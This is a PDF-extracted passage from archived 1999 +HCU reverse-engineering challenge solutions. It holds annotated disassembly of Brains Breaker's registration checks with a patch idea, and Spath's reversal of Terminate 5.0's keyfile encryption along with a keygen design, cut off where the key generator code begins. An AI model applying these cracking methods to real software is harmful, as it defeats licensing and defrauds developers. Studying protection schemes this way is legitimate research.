46AA1E 46AA1E push ebp 46AA1F mov ebp, esp 46AA21 mov eax, [ebp+arg_0] 46AA24 mov edx, ds:dword_489978
46AA2A mov ecx, [edx] ; edx=489980 46AA2C mov edx, [ecx] ; ecx=489970,edx=[ecx]=15a4 46AA2E mov ecx, 1 ; if
arg_4=0 46AA33 cmp [ebp+arg_4], 0 ; then ecx-1=0 46AA37 jnz short loc_46AA3C ; else ecx=1 46AA39 add ecx,
0FFFFFFFEh 46AA3C loc_46AA3C: ; CODE XREF: Check_3+19 j 46AA3C imul edx, ecx ; 15a4*ecx 46AA3F mov [eax],
edx 46AA41 pop ebp 46AA42 retn 8 d) Check_4: 46AA86 arg_0 = dword ptr 8 46AA86 46AA86 push ebp 46AA87 mov ebp,
esp 46AA89 mov eax, [ebp+arg_0] 46AA8C xor edx, edx 46AA8E mov ecx, ds:dword_489980 ; offset of 489970 46AA94
mov ecx, [ecx] ; [ecx]=15a4 46AA96 cmp ecx, [eax] ; compare 15a4 with arg_0 46AA98 jz short loc_46AA9B ; if = then
return 0 46AA9A inc edx ; else 1 46AA9B loc_46AA9B: ; CODE XREF: Check_4+12 j 46AA9B mov eax, edx 46AA9D pop
ebp 46AA9E retn 4 46AA9E Check_4 endp e) Return_15a4_in_EAX_? - sub_4138ac Very important sub 4138AC var_1C =
byte ptr -1Ch 4138AC var_18 = byte ptr -18h 4138AC var_14 = dword ptr -14h 4138AC var_10 = byte ptr -10h 4138AC var_C
= byte ptr -0Ch 4138AC var_8 = dword ptr -8 4138AC var_4 = dword ptr -4 4138AC arg_0 = dword ptr 8 4138AC arg_4 =
dword ptr 0Ch 4138AC 4138AC push ebp 4138AD mov ebp, esp 4138AF add esp, 0FFFFFFE4h 4138B2 push ebx 4138B3
push esi 4138B4 push edi 4138B5 mov esi, [ebp+arg_0] 4138B8 xor ebx, ebx ; clear ebx 4138BA jmp loc_41397C 4138BF ;

4138BF loc_4138BF: ; CODE XREF: Return_15a4_in_E 4138BF mov [ebp+var_4], ebx 4138C2 mov eax, [esi+1Dh] 4138C5
mov edx, [ebp+var_4] 4138C8 mov edi, [eax+edx*4] 4138CB push edi 4138CC mov eax, [edi] ...... 41397C loc_41397C: ;
CODE XREF: Return_15a4_in_E 41397C cmp ebx, [esi+14h] ; [esi+14]=489aa2 so here we check if dword_489aa2 = 0 this
dword_489aa2 set to 1 when BB registered so if BB unregistered we wont go at loc_4138BF instead we go at 4139b4 and then
to loc_4139CE where Check_3 (wrong name I've choosen for this sub, I must admit) set arg_4 to 0, coz arg_0=0 so
"Return_15a4_in_EAX?" returns 0. And, if dword_489aa2 set to 1, we go at loc_4138BF, some calcualtion there and
"Return_15a4_in_EAX?" returns 15a4 whatever reginfo we have( valid or not). THIS IS VERY IMPORTANT, BECAUSE

http://www.instinct.org/fravia/99solu/int0com.htm (23 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

almost all of those "Check_X" subs compare result of this "Return_15a4_ _in_EAX?" with 15a4 and in this way BB decide
registered it or not. When I understand how this sub works I realized that its enough to push 1 instead push 0 at loc_4139ce and
we always get 15a4 as return value. And now we even dont need to register, I thought. But this patch didn't help much, because
this sub, probably, used for other purposes too and therefore this patch won't let us get all feautres on in BB. More, when I tried
to create own puzzle, BB crashes with pagefault coz it tried access Name of user which simply didnt exist. 41397F jl
loc_4138BF 413985 push esi 413986 call sub_413D91 41398B test eax, eax 41398D jle short loc_4139B4 41398F cmp dword
ptr [esi+14h], 3 413993 jl short loc_4139B4 413995 push 0 413997 lea edx, [ebp+var_1C] 41399A push edx 41399B call
Check_3 4139A0 push eax 4139A1 call Check_4 4139A6 push eax 4139A7 push [ebp+arg_4] 4139AA call Check_3 4139AF
mov eax, [ebp+arg_4] 4139B2 jmp short loc_4139DB 4139B4 ;

4139B4 4139B4 loc_4139B4: ; CODE XREF: Return_15a4_in_E 4139B4 ; Return_15a4_in_EAX?+E7 j 4139B4 cmp eax, 2
4139B7 jl short loc_4139CE 4139B9 cmp dword ptr [esi+14h], 2 4139BD jl short loc_4139CE 4139BF push 1 4139C1 push
[ebp+arg_4] 4139C4 call Check_3 4139C9 mov eax, [ebp+arg_4] 4139CC jmp short loc_4139DB 4139CE ;

4139CE 4139CE loc_4139CE: ; CODE XREF: Return_15a4_in_E 4139CE ; Return_15a4_in_EAX?+111 j 4139CE push 0 ;
with this arg 4139D0 push [ebp+arg_4] ; Check_3 4139D3 call Check_3 ; set arg_4 to 0 4139D8 mov eax, [ebp+arg_4] ; eax=0
4139DB 4139DB loc_4139DB: ; CODE XREF: Return_15a4_in_E 4139DB ; Return_15a4_in_EAX?+106 j 4139DB ;
Return_15a4_in_EAX?+120 j 4139DB pop edi 4) bb21eng.dix is used to keep crypted strings? , "UNREGISTERED" bitmap?
or some tables to decrypt strings 5) BB decrypt those "invisible" in dead listing strings in rather tricky way. It uses xor with
name of author as mask, decrypt in several passes... Paranoid guy. 419223 Encryption?? proc near 419223 var_8 = dword ptr -8
419223 var_4 = dword ptr -4 419223 arg_0 = dword ptr 8 419223 arg_4 = dword ptr 0Ch 419223 arg_8 = dword ptr 10h
419223 419223 push ebp 419224 mov ebp, esp 419226 add esp, 0FFFFFFF8h 419229 push ebx 41922A push esi 41922B push
edi 41922C mov ebx, [ebp+arg_0] 41922F mov edi, [ebp+arg_4] 419232 mov esi, [ebp+arg_8] 419235 push ebx 419236 call
L_seek ; seek some offsets in bb21eng.dix 41923B mov [ebp+var_4], eax 41923E push esi 41923F push edi 419240 push ebx
419241 call sub_418867 ; call h_read 419246 mov [ebp+var_8], eax 419249 push [ebp+var_4] 41924C push esi 41924D push
edi 41924E push ebx 41924F call Tricky_xor ; decrypt strings, sub_4190fc 419254 mov eax, [ebp+var_8] 419257 pop edi
419258 pop esi 419259 pop ebx 41925A pop ecx 41925B pop ecx 41925C pop ebp 41925D retn 0Ch 41925D Encryption??
endp 6) There are two subs which validate reginfo: a) "Validate_reginfo" - sub_456af5 This sub takes as argument pointer to
reginfo in format I described above, i.e. : BrainsBreaker 2./Pack:Full;User:CRACKER;UserID:ID;Key:$123456; b)
"Validate_reginfo_CTRL_F8" - loc_46b1ad This sub called when CTRL_F8 pressed, this sub convert entered reginfo to format
which "Validate_reginfo" accepts and then call it: 46B438 call sub_41553E 46B43D xor edi, edi ; after that we have formed
reginfo 46B43F lea eax, [ebp-3Ch] ; in format for Validate_reginfo 46B442 push eax 46B443 call sub_415867 46B448 test
eax, eax 46B44A jnz short loc_46B45C 46B44C push dword ptr [ebp-20h] ; offset of reginfo pushed 46B44F push
ds:dword_489A88 46B455 call Validate_reginfo ; <---------here 46B45A mov edi, eax 46B45C 46B45C loc_46B45C: ; CODE
XREF: 0000:0046B44A j 46B45C test edi, edi 46B45E jnz loc_46B4E9 7) CALL 1 - sub_459ac1 CALL 2 - sub_459c3a both
subs used by "Validate_reginfo", "Check_Reginfo_From_bbrk.ini" These subs validate key. 9) So, BB compare result of sub
"Return_15a4_in_EAX_?" with 15a4 , using Check_1,Check_2,Check_4 subs. In this way BB decides registered it or not and
set on or set off features of registered version. Sub "Return_15a4_in_EAX_?" checks dword_489aa2 . If dword_489aa2=0, this
sub return 0 . If dword_489aa2=1, this sub return 15a4 after some calculation - good value. dword_489aa2 sets to 1 if key taken
from bbrk.ini or entered by user or taken from Clipboard is valid.
--------------------------------------------------------------------------- End of the solution.
Solution for Part IV of +HCU Strainer 99. Solved by iNT_03h. TARGET: Brains Breaker ver 2.1b (32bits) TOOLS: SoftIce
3.22 for W95, IDA PRO 3.75 Full, Borland C++ 4.5 SOLUTION: First, English is not my motherlanguage, so please excuse
my mistakes... To understand how BB draws that sparkle I started BB, completed puzzle and pressed CTRL-D while BB was
drawing sparkles. After several F12 I landed at 42eadb, exactly after CALL 42eeb0. There was loop and this sub was called
again and with every call sparkle changed form step by step. So I saw and understand how sparkles created and decided to code
program on C to reproduce that sparkle. I choose 640x480x16 color video mode - its standart in BC, and won't require any
special bgi. I used standart graphics functions from gfaphics.lib. I decided not to make CPU speed check and allowed to enter
delay value manually, so you can see sparkle creation process step by step if you choose big delay (100 and more), or see it in
normal speed (delay 13-15 for PII 233). Of course, I could create same program in asm, but it would take me much more time,
coz its rather dificult to code all those graphics functions (like ellipse) in asm, and it wouldn't be funny I think :)) Usually
sparkle created in 16 steps: 8 steps used to increase size of sparkle and 8 steps used to decrease size of sparkle. 0) choose color
for sparkle 1) draw white small +, its size is about x=2,y=4 2) increase + 3) draw small ellipse using choosen color and draw
increased + 4) increase ellipse (color), then draw smaller ellipse with bright color, and even smaller ellipse an center using
white color 5),6),7),8) - same 9) begin the process in back order, i.e decrease size of ellipses and + 10) same, but begin to draw

http://www.instinct.org/fravia/99solu/int0com.htm (24 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

3 very small white points around sparkle 11) continue to decrease sparkle, but increase small points, they become +, change
their color from white to color of sparkle 12) continue to decrease sparkle, but decrease small +, they become points and
randomly add several (0-2) small points around sparkle 13) continue to decrease sparkle, first 3 small + disapper,randomly
added several (0-2) small points increased and become + 14) continue to decrease sparkle, randomly added several (0-2) small
points decreased and become points 15) continue to decrease sparkle, randomly added several (0-2) small points dont change
16) whole sparkle disappear. //---------------------- sparkle.c---------------------------------------- //compile: bcc sparkle.c
graphics.lib // sparkle.exe need egavga.bgi ro run // I used bcc 4.5 , but I'm sure, BC 3.1 also will work #include #include
#include #include #include #include void draw_plus(int xc,int yc,int xp,int yp) { // draw + at xc,yc with xp,yp sizes
setcolor(WHITE); moveto(xc-xp/2,yc); lineto(xc+xp/2,yc); moveto(xc,yc-yp/2); lineto(xc,yc+yp/2); } void main(void) { int
xc,yc,color,xrad,yrad,xp,yp,i,i1,num_ss,xs1,ys1,color2,ys[6],xs[6],nss; int
gd=VGA,gm=VGAHI,xs2,xs3,ys2,ys3,t,i2,beg,end,color3,t1,del,rnd_s,error; unsigned char *bmap; printf("\n\n Brains Breaker
sparkle reproducer. (C)oded by iNT_03h in 1998."); printf("\n\n Enter draw delay(msec):"); scanf("%d",&del);
initgraph(&gd,&gm,""); error=graphresult(); if (error!=grOk) { printf("Graphics error: %s\n", grapherrormsg(error));
printf("Press any key to halt:"); getch(); exit(1); } bmap=malloc(20*20/2); // alloc memory for store bitmap randomize(); //
for(i1=0;i1<=20;i1++) while(!kbhit()) { again1: xc=random(620); // xc - center of sparkle if(xc<=20) goto again1; again2:
yc=random(460); // yc - center of sparkle if(yc<=20) goto again2; again3: color=random(9); // random color from first 8 of 16
colors rnd_s=random(3); // this provide random size of sparkle if(color==0||color==8) goto again3;
getimage(xc-16,yc-16,xc+16,yc+16,bmap); // save background "before" tppabs="http://fravia.org/99solu/before" draw //
sparkle for(i=5;i<=18+rnd_s;i++) // begin to increase sparkle { delay(del); /* asm { here I tried to make delay depends // mov
ah,0 on clock, doesnt work well, too slow // int 0x1a mov ax,0x40 mov es,ax mov dx,es:[0x6c] add dx,1 mov bx,dx } repeat:
asm{ mov dx,es:[0x6c] cmp dx,bx jne repeat }*/ putimage(xc-16,yc-16,bmap,COPY_PUT); setcolor(color);
setfillstyle(SOLID_FILL,color); fillellipse(xc,yc,i/2-4,i/2-2); // draw ellipse with color setfillstyle(SOLID_FILL,color+8);
fillellipse(xc,yc,i/2-5,i/2-3); // draw smaller ellipse with bright color setfillstyle(SOLID_FILL,WHITE); draw_plus(xc,yc,i-4,i);
// draw white PLUS setcolor(WHITE); fillellipse(xc,yc,i/2-7,i/2-5); // draw smallest ellipse with WHITE color } t=t1=0; // flags
color2=color3=WHITE; for(i=18+rnd_s;i>=5;i--) // loop for decrease sparkle { delay(del-1); /* asm { mov ah,0 // int 0x1a mov
ax,0x40 mov es,ax mov dx,es:[0x6c] add dx,1 mov bx,dx } repeat1: asm{ mov dx,es:[0x6c] cmp dx,bx jne repeat1 } */
putimage(xc-16,yc-16,bmap,COPY_PUT); setcolor(color); setfillstyle(SOLID_FILL,color); // all same as above
fillellipse(xc,yc,i/2-4,i/2-2); setfillstyle(SOLID_FILL,color+8); fillellipse(xc,yc,i/2-5,i/2-3); setfillstyle(SOLID_FILL,WHITE);
draw_plus(xc,yc,i-4,i); setcolor(WHITE); fillellipse(xc,yc,i/2-7,i/2-5); if(i>16+rnd_s) //if sparkle big enough just continue to
decrease it continue; if(i==16+rnd_s) //else begin to draw very small sparkle around main { // sparkle nss=2+random(4); //
number of small sparkles , at least 2, maximum 5 setcolor(WHITE); for(i2=0;i2

http://www.instinct.org/fravia/99solu/int0com.htm (25 of 25) [2/7/2001 2:58:15 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

-= HCU STRAINER 1999 : CHALLENGE 1 =-


Terminate 5.0

by Spath (09/98).

Goals: 1. Extensively analyze and explain Terminate's protection scheme.


2. Create a 16 bit assembly key generator for it.
3. Design a technique to assure that your generated key will be
valid in any further version of terminate.

Tools: PCWATCH (I love this tool)


SuperTracer 2.00
SoftIce 3.0
TASM 5.0

AT FIRST LOOK
I) THE ALGORITHM
II) REVERSING THE ALGORITHM
III) OTHER CHECKS AND VERSION COMPATIBILITY
IV) THE KEY GENERATOR
FINAL NOTES

AT FIRST LOOK
Playing a little bit with PCWATCH, I find out that TERMINATE try to open
a file called TERMINAT.KEY through INT 21 (3D/3F) ; when I create a dummy
key file, 162h bytes are read 11 times and I get the message "TERMINAT.KEY
was damaged, please reinstall". By the way, some interrupt vectors are
redefined (including 00h and 3Fh), which can crash simplest debuggers.

PART ONE : THE ALGORITHM


I fire SIce 3.0 through its DOS loader : as expected, the breakpoint on
INT21/3F stops the execution at the first read attempt in TERMINAT.KEY.
Note that the number of bytes read is saved (but all files larger then
162h*11 bytes will work).

:0C22 INT 21 ; read 162h bytes


POP DX
POP DS
JB 0C2E ; if a problem occured, save error code
CMP AX,CX ; 162h bytes read ?
JZ 0C31 ; yes : go on
MOV AX,DX ; no : save number of bytes read
:0C2E MOV [24E4],AX ; flag failure (DS:[24E4] = 0 if ok)
:0C31 POP BP
RETF 0004

and later, DS:[24E4] is saved into DS:[17D6] to be checked in step 2


of the decryption algorithm.

http://www.instinct.org/fravia/99solu/spatcom.htm (1 of 63) [2/7/2001 2:58:35 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Then, I put a BPR breakpoint on the DS:DX memory location and I land
in the algorithm. Before showing the code, I will give some explanations :
this algorithm is based on 2 layers of encryption, so that there are 2
separate checks (of course, if the first fails, the second one is not
performed). As I explained before, the datas are loaded from TERMINAT.KEY
in blocks of 162h bytes, then stored in a internal buffer before being
processed.

Two cryptographic functions are used (I call them F1 and F2) ;

F1(buffer, magic_word1, magic_word2)

This function only modify two magic words (and not the buffer). It uses

basic byte transformations (XOR, SHL, ADD, SHR, RCR) and an array of

constant datas. It is used once on the 4th block (from byte 5Bh to byte

15Dh), and once on the complete file (for each block, from byte 0 to

byte 15Dh).

F2(buffer, parameter1, parameter2, parameter3)

This function modify the bytes of the buffer from address 5Bh to address

161h and also its two first parameters. Therefore, the values you choose

for parameter1 and parameter2 are just initial values, that are only used

for byte 5Bh. This function is used 3 times in the algorithm, each call

being embeded in the previous one, so that we have

buffer = F2(F2(F2(buffer))). Note that only the 4th block's decryption

requires F2 and that the third parameter is always constant (100h).

Here's a description of the whole decryption algorithm :

0) the two magic words have initial values of (FFFFh,FFFFh).

1) compute several tests on the file (see part 3).

http://www.instinct.org/fravia/99solu/spatcom.htm (2 of 63) [2/7/2001 2:58:35 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

2) calculate F1 all over the file, and compare the resulting words

with the values at offset 10*162h+15Eh, 10*162h+160h (the magic words

of the last block). If the result is incorrect, the next tests are not

performed.

3) compute xoring with FFh on bytes 5Bh to 161h of block 4.

4) compute block4 = F2(block4, 0007h, 0000h, 0100h)

5) compute block4 = F2(block4, 325ch, 0000h, 0100h)

6) compute block4 = F2(block4, 0904h, 33eeh, 0100h)

7) with initials values of (FFFFh,FFFFh), compute F1 on bytes 5Bh to 15Dh

of block4. If the magic words are equal to bytes 15Eh and 160h of

block4, the decryption worked.

8) compute several tests on the file (see part 3).

For detailed explanations, here's the code of the F1 function:

:56B INC WORD PTR[17D2] ; increment buffer index

MOV DI,[BP+06]

LES DI,SS:[DI+FEFA]

MOV AX,ES

PUSH AX

MOV DI,[17D2] ; load index pointer

POP ES

MOV AL,ES:[DI] ; load byte from buffer

PUSH AX ; push byte read

MOV DI,[BP+06]

PUSH WORD PTR SS:[DI+FEF8] ; push magic byte 2

PUSH WORD PTR SS:[DI+FEF6] ; push magic byte 1

POP BX ; BX = magic byte 1

http://www.instinct.org/fravia/99solu/spatcom.htm (3 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

POP DX ; DX = magic byte 2

POP CX ; CX = byte read

PUSH DX ; push magic byte 2

PUSH BX ; push magic byte 1

:595 XOR BX,CX

XOR BH,BH ; clear upper byte

SHL BX,1

SHL BX,1

ADD BX,[E320] ; add constant (2014h)

MOV AX,[BX] ; get value from data segment

MOV CX,[BX+02]

POP BX ; BX = magic byte 1

POP DX ; DX = magic byte 1

PUSH CX ; save CX

MOV CX,08 ; initialise loop

:5AC SHR DX,1 ; play with magic bytes

RCR BX,1

LOOP 5AC ; play again

AND DX,0FF

POP CX ; restore CX

XOR AX,BX

MOV BX,CX

XOR DX,BX

MOV DI,[BP+06]

MOV SS:[DI+FEF6],AX ; save magic byte 1

MOV SS:[DI+FEF8],DX ; save magic byte 2

MOV AX,[17D2] ; test buffer index

http://www.instinct.org/fravia/99solu/spatcom.htm (4 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

CMP AX,[BP-04] ; 15Eh bytes processed ?

JNZ 056B ; no : continue

And here is the code of the F2 function : the 3 parameters are

respectively stored at DS:24e6, DS:24e8, SS:BP+06. The 2 first ones

are modified at each call, the third one is always equal to 100h.

:0A3C INC WORD PTR [17D2] ; increment buffer index

MOV AX,0100h ; set third parameter

PUSH AX

CALL xxxx:2053 ; calculate new parameters

MOV DX,AX

MOV DI,[BP+06]

LES DI,[17D2] ; index of the next byte to process

POP ES

MOV AL,ES:[DI] ; get byte from buffer

XOR AH,AH

XOR AX,DX ; calculate new value for this byte

MOV DL,AL

MOV DI,[BP+06]

LES DI,SS:[DI+FEFA]

MOV AX,ES

PUSH AX

MOV DI,[17D2] ; index of the processed byte

POP ES

MOV ES:[DI],DL ; put new value in the buffer

MOV AX,[17D2]

CMP AX,[BP-04] ; did we process 161h bytes ?

http://www.instinct.org/fravia/99solu/spatcom.htm (5 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

JNZ 0A3C ; no : continue

And here's the xxxx:2053 procedure, where the two parameters are

modified :

:2053 PUSH BP

MOV BP,SP

MOV AX,[24E6] ; get first parameter

MOV BX,[24E8] ; get second parameter

MOV CX,AX

MUL WORD PTR [12BC] ; DS:[12BC] = 8405h

SHL CX,1

SHL CX,1

SHL CX,1

ADD CH,CL

ADD DX,CX

ADD DX,BX

SHL BX,1

SHL BX,1

ADD DX,BX

ADD DH,BL

MOV CL,05

SHL BX,CL

ADD DH,BL

ADD AX,0001

ADC DX,00

MOV [24E6],AX ; modify first parameter

MOV [24E8],DX ; modify second parameter

http://www.instinct.org/fravia/99solu/spatcom.htm (6 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

XOR AX,AX

MOV BX,[BP+06] ; get third parameter

OR BX,BX ; avoid division by 0

JZ 2097

XCHG AX,DX

DIV BX

XCHG AX,DX

:2097 POP BP ; AX=0, DX=(second parameter /100h)

RET 0002

With the F1 function, we obtain two magic words which depend on every

byte of the key file. These words are checked versus words number 15Fh

and 160h of the last read block.

Here's the code where the result of the F1 function is checked :

:906 MOV AX,SS:[DI+FEF6] ; load magic byte 1

MOV DX,SS:[DI+FEF8] ; load magic byte 2

LES DI,SS:[DI+FEFA]

CMP DX,ES:[DI+160] ; magic byte 2 = byte 160h ,

JNZ 092A ; no : bad boy

CMP AX,ES:[DI+015E] ; magic byte 1 = byte 15Eh ,

JNZ 092A ; no : bad boy

CMP WORD PTR [17D6],00 ; no problem reading the file ,

JZ 092D ; ok : go on

:092A JMP 22A7 ; bad boys go to hell

:092D MOV DI,[BP+06]

http://www.instinct.org/fravia/99solu/spatcom.htm (7 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

PART TWO : REVERSING THE ALGORITHM

So the question is : can we reverse the decryption algorithm ?

Yes, if we can reverse F1 and F2 :

- for the F1 function, there's no problem at all, since the result

of the hash is stored at the end of the hashed bytes. Therefore,

we can directly use the F1 function to calculate the magic words,

then we simply write them at the end of the block.

- for the F2 function, we will use two major flaws : first, the

calculation of the two parameters is completely independant from

the contents of the buffer, i.e. the F2 function is of the form :

for (i=5Bh, i<161h, i++)

parameter1 = F3(parameter1, parameter2)

parameter2 = F4(parameter1, parameter2)

buffer[i] = F5(buffer[i], parameter1, parameter2)

Moreover, the F5 function is of the form :

F5(buffer[i]) = buffer[i] XOR F6(parameter1, parameter2)

As a result of these two weaknesses, if we get the two correct

initial parameters F2 is its own inverse !

http://www.instinct.org/fravia/99solu/spatcom.htm (8 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Therefore our encryption algorithm will be :

0) fill all the buffers with random bytes.

1) with initials values of (FFFFh,FFFFh), compute F1 on bytes 5Bh to 15Dh

of lock4. Write the result at bytes 15Eh and 160h.

2) handle special tests (see part 3).

2) compute block4 = F2(block4, 0904h, 33eeh, 0100h).

3) compute block4 = F2(block4, 325ch, 0000h, 0100h).

4) compute block4 = F2(block4, 0007h, 0000h, 0100h).

5) compute xoring with FFh on bytes 5Bh to 161h of block 4.

6) with initials values of (FFFFh,FFFFh), calculate F1 all over the file

and write the resulting words at offset 15Eh and 160h of the last buffer.

PART THREE : OTHER CHECKS AND VERSION COMPATIBILITY

Apart from the algorithm, four rows of tests are performed on the file,

as described below :

1)

Buffer number Test Result

1 Buffer[0B] = 46h ('F') AND Runtime error103

Buffer[1B] = 2Fh ('/') AND (File not open)

Buffer[14] = 2Eh

2 Buffer[1] = Buffer[2] AND add 0329

Buffer[1] = Buffer[3] AND to MagicWord1

Buffer[1] = Buffer[4] AND

http://www.instinct.org/fravia/99solu/spatcom.htm (9 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Buffer[1] = Buffer[5]

5 see 2) see 2)

11 (a) Buffer[12C] = Buffer[12D] and add 0192

Buffer[12C] = Buffer[12E] and to MagicWord1

Buffer[12C] = Buffer[12F] and

Buffer[12C] = Buffer[130]

11 (b) Buffer[15A] = DC and Runtime error103

Buffer[15B] = 64 and (File not open)

Buffer[15C] = D9 and

Buffer[15D] = E9

As a result of checks on buffer 2 and buffer 11 (a), a file filled with

f.i. all '0', encrypted with the correct algorithm would not work. This

means that in correct keyfiles, these parts are filled with usefull (at

least not constant) datas. This basic detection of false keyfiles is useless

since I fill the keyfile with random values.

To avoid the tests on blocks 1 and 11 (b), I could have add specific

tests in my key-generator, but generating these particular values is very

unlikely : even if it happens, you only need to re-run the key-generator.

Note that all these tests were already used in version 4, but the tested

values were slightly different.

2)

This test use a lot of code, so I tried to explain it in a "mathematical

http://www.instinct.org/fravia/99solu/spatcom.htm (10 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

way" to make it more understandable... I hope I succeeded. So this test use

bytes 15Eh and 160h of buffers 4 and 5. Some functions are involved, which

take these two bytes as input and return three bytes (which i will call B1,

B2 and B3).

Here is what happens :

- calculate B2 = F7(Buffer5[15E])

(B1,B3) = F8(Buffer5[160])

- after decryption of buffer 4, calculate

B2' = F9(F7(Buffer4[15E]))

(B1',B3') = F8(Buffer4[160])

- if B1=B1' and B2=B2' and B3=B3' then the result of the test

is succesfull.

Since the bytes of buffer 4 are the result of al lot of work, it

is much easier to find the correct bytes of buffer 5 to pass this

test. The condition on B1 and B3 are easy to fulfil : we only

need to have Buffer5[160] = Buffer4[160]. The other condition seems

more complicated, since we need to compensate the effects of F9 on

Buffer4[15E] (further refered to as MW1).

Here's some code "of.class" tppabs="http://fravia.org/99solu/of.class" F9 :

:141F SHR DX,1 ; SI = F7(MW1), BX=A0h=(2^4)*0Ah

RCR BX,1 ; BX = BX / 2

http://www.instinct.org/fravia/99solu/spatcom.htm (11 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

RCR AX,1

DEC CL

JNZ 141F ; loop

...

ADC BX,SI ; B2' = F7(MW1) + BX

So at the end, we have F9(F7(MW1)) = F7(MW1) + 2^(4-CL)*0Ah : in

other words the action of F9 is to add n*0Ah (a multiple of ten in

decimal). Let's try to compensate this effects with F7, which use

this code :

NEG DX ; invert magic word 2

NEG AX ; invert magic word 1

MOV BX,AX

...

:1667 DEC AL ; BX = NOT(magic word 1)

ADD BX,BX ; calculate B2 = 2*B2

ADC DX,DX

JNS 1667 ; loop until a negative number is obtained

We see that if we substract n to magic word 1, B2 will increase by

(2^k)*n, where k is the number of times we execute the loop. Thanks

to the author, k=4-CL, so that we have (at last) :

F9(x) = x + (2^k)*0Ah

F7(x-n) = F7(x) + (2^k)*n

http://www.instinct.org/fravia/99solu/spatcom.htm (12 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

=> F9(F7(Buffer4[15E])) = F7(Buffer4[15E]) + (2^k)*0Ah

= F7(Buffer4[15E] - 0Ah)

So to pass the test, a key-generator can set :

Buffer5[15E] = Buffer4[15E] - 0Ah and

Buffer5[160] = Buffer4[160].

3)

Then, some other checks are performed on the decrypted (after 3*F2) fourth

buffer to detect some people (or companies) names, like "Peter Thomsen",

"Joshua Schultz" or "Velibor Cagalj / Zeit Systeme Gmbh" (sic). These

chains are seeked at offsets 7Ah and E0h of the fourth buffer, the first

byte containing the size of the chain to compare. Here's the code :

:1070 LODSB ; load size of the chain in the buffer

MOV AH,ES:[DI] ; load size of the model chain

INC DI

MOV CL,AL

CMP CL,AH ; compare sizes

JBE 107D ; buffer size <= model size : ok

MOV CL,AH ; otherwise compare model size

:107D OR CL,CL

JZ 1087

XOR CH,CH

REPZ CMPSB ; compare chains

JNZ 1089

CMP AL,AH ; if chains are equal, set Z flag

http://www.instinct.org/fravia/99solu/spatcom.htm (13 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:1089 MOV DS,DX

RET

If one of these names if found, Terminate makes an awful "beeeeeep"

before displaying the main screen ; of course, you are not registered

(maybe these guys didn't pay their key ?). This test also existed in

version 4, but the list of names was slightly different (and shorter).

4)

At last, several other tests are done on this buffer, which can cause a

funny message to appear, asking you to delete your illegal keyfile :

Buffer[158]=FA98 & Buffer[156]=12FD

Buffer[74]=4638 & Buffer[72]=2391

Buffer[150]=FE6F & Buffer[14E]=DF92

Buffer[150]=C740 & Buffer[14E]=AE99

Buffer[150]=0000 & Buffer[14E]=B37B (*)

Buffer[150]=C740 & Buffer[14E]=AE66

(*) This test has been added from version 4 to version 5 : apparently, the

Terminate 4.0 keyfile generator from sULIVIAN [UCF] always fail it. I

suppose the author analyzed the key-generator, found a flaw in the PRNG

and added this specific test.

How to design a technique to assure that my key will be valid in any

further version of terminate ?

http://www.instinct.org/fravia/99solu/spatcom.htm (14 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Well, if I look how the sULIVIAN's key-generator has been invalidated,

I only need to use a good PRNG to generate keyfiles with no constant

bytes. Therefore the four rows of tests will be useless.

But it's not so easy... for instance, what if some other bytes of

the file have forbidden (or required) values : these values are avoided

(or set) by the keymaker of the author, and not tested in version 5. But

in version 6, the author add a test for these bytes, so that only the

keyfiles generated by his program are sure to pass the test. This means

in particular that without changing his key-generator, the author could

create new versions of his software and invalidate previous key-generators.

So here's the method I propose :

1) Find many original Terminate 5.0 keyfiles.

2) Decrypt them by using the algorithm used in Terminate 5.0 and described

in part one : you can either trace in SoftIce and dump the buffers or

reuse pieces of code "from.class" tppabs="http://fravia.org/99solu/from.class" the


key-generator.

3) You obtain the files that the author encrypted. In each file, you can

read in plain-text all the informations about the owner of the keyfile

(name, company, town,..) : replace all these informations by 00h.

4) Compare all these files : if you are lucky, they are identical. If not,

try to figure out how the bytes that are different can be deduced

from the owner's informations (e.g. the first character before a string

is its size).

5) From these files, create a "mask" (or in worst case, code a mask-maker)

http://www.instinct.org/fravia/99solu/spatcom.htm (15 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

for your new key-generator : your program will overwrite only the bytes

containing informations about the owner, leaving the others bytes

unmodified.

This method will prevent your keyfile from current (and future) byte checks

for forbidden/required values and may guarantee a longer life to your

keyfile. Unfortunately, I did not find any original keyfile so that I was

unable to test it...

PART FOUR : THE KEY GENERATOR

Here's the code of my key generator, roughly commented. I used a big

buffer to store and process all the 11*162h=3894 bytes and reused the code

of F1 and F2 from Terminate. The result is (without optimisation) a 9320

bytes COM file.

;-------------------------------------------------------;

; TERMINATE 5.0 Key Generator v 0.01 ;

; ;

; coded by Spath (09/98) for +HCU strainer 1999 ;

; compile with tasm, link with tlink /t ;

;-------------------------------------------------------;

Code Segment Byte Public

Assume Cs:Code, Ds:Code, Es:Code

Org 100h

.386

Start:

